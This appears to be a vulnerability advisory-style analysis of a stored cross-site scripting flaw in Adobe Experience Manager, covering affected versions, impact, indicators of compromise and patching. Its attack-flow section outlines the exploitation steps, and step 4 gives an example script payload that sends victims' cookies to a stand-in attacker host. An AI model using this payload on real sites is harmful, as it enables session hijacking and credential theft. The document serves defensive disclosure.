CVE-2025-64869: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64869 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with the scope of impact extending beyond the originating application context (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. Because AEM is commonly used as an enterprise content management platform, exploitation could affect a broad user base including administrators (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public-facing AEM login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author account).
3. Identify vulnerable form fields: Navigate AEM's authoring interface to locate form fields that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: When a victim (e.g., another author or administrator) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System: Unexpected or modified AEM content nodes containing embedded <script> tags or event handler attributes in stored content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual cookie or session data exfiltration patterns.
• Process/Application: AEM error logs showing unexpected JavaScript-related rendering errors or content policy violations associated with specific pages or components.

Adobe has released patches addressing CVE-2025-64869 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been publicly documented; upgrading to the patched release is the recommended remediation. Administrators should also review AEM content security policies and restrict content authoring permissions to trusted users as a defense-in-depth measure (Adobe Advisory).